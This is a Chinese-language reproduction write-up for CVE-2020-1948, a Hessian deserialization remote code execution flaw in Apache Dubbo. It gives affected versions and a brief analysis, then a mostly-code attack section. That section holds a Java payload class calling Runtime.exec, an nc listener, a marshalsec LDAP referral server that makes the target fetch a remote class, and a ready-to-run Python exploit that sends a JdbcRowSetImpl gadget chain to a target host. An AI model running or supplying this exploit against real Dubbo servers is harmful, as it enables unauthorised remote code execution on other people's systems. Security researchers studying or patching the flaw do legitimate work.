(CVE-2020-1948)Apache Dubbo Hessian 反序列化漏洞

一、漏洞简介

攻击者可以发送带有无法识别的服务名或方法名及某些恶意参数负载的RPC请求,当恶意参数被反序列化时将导致代码执行

二、漏洞影响

2.7.0 \<= Apache Dubbo \<= 2.7.7

2.6.0 \<= Apache Dubbo \<= 2.6.7

Apache Dubbo 全部 2.5.x 版本

三、复现过程

漏洞分析

Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径

1.png

Java客户端可以很方便的调用服务器上的方法,如下

2.png

查看com.caucho.hessian.server.HessianServlet的代码service方法处理客户端发来的http请求,调用

3.png

4.png

调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象

5.png

看代码里面好像没有什么黑白名单过滤机制通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器下面是构造请求包的CVE-2020-1948.py代码

6.png

利用图

7.png

8.png

漏洞复现

构造poc

  1. ## exp.java
  2. import javax.naming.Context;
  3. import javax.naming.Name;
  4. import javax.naming.spi.ObjectFactory;
  5. import java.util.Hashtable;
  6. public class exp {
  7. public exp(){
  8. try {
  9. java.lang.Runtime.getRuntime().exec("calc.exe");
  10. } catch (java.io.IOException e) {
  11. e.printStackTrace();
  12. }
  13. }
  14. }

编译poc

  1. javac exp.java

nc监听

  1. nc -lvvp 12345

服务器开启web服务,并将生成好的exp.class放置web目录

启动 LDAP 代理服务

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://www.0-sec.org/#exp 81

marshalsec 下载:

  1. https://download.0-sec.org/Web安全/java反序列化漏洞/marshalsec-0.0.3-SNAPSHOT-all.jar

py脚本测试

安装依赖包

  1. pip install dubbo-py

运行

  1. python poc.py www.target.com 12345 ldap://www.yourweb:81/exp

除了通过返回信息来判断外,观察 LDAP 代理是否出现请求转发也是判断POC利用是否成功的重要依据:

  1. # LDAP Refer Server Output
  2. Send LDAP reference result for exp redirecting to http://www.0-sec.org/exp.class
  3. # poc.py
  4. # -*- coding: utf-8 -*-
  5. import sys
  6. from dubbo.codec.hessian2 import Decoder,new_object
  7. from dubbo.client import DubboClient
  8. if len(sys.argv) < 4:
  9. print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  10. print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  11. sys.exit()
  12. client = DubboClient(sys.argv[1], int(sys.argv[2]))
  13. JdbcRowSetImpl=new_object(
  14. 'com.sun.rowset.JdbcRowSetImpl',
  15. dataSource=sys.argv[3],
  16. strMatchColumns=["foo"]
  17. )
  18. JdbcRowSetImplClass=new_object(
  19. 'java.lang.Class',
  20. name="com.sun.rowset.JdbcRowSetImpl",
  21. )
  22. toStringBean=new_object(
  23. 'com.rometools.rome.feed.impl.ToStringBean',
  24. beanClass=JdbcRowSetImplClass,
  25. obj=JdbcRowSetImpl
  26. )
  27. resp = client.send_request_and_return_response(
  28. service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  29. # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  30. method_name='$invoke',
  31. args=[toStringBean])
  32. output = str(resp)
  33. if 'Fail to decode request due to: RpcInvocation' in output:
  34. print('[!] Target maybe not support deserialization.')
  35. elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
  36. print('[+] Succeed.')
  37. else:
  38. print('[!] Output:')
  39. print(output)
  40. print('[!] Target maybe not use dubbo-remoting library.')

参考链接

https://github.com/DSO-Lab/Dubbo-CVE-2020-1948/wiki